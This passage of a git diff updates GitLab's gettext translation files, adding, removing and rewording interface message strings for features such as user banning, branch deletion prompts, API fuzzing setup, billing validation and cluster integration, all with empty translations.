+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ta_IN/gitlab.po b/locale/ta_IN/gitlab.po
index aa95897eef0..56a53ff5272 100644
--- a/locale/ta_IN/gitlab.po
+++ b/locale/ta_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ta\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:12\n"
+"PO-Revision-Date: 2021-06-01 20:22\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
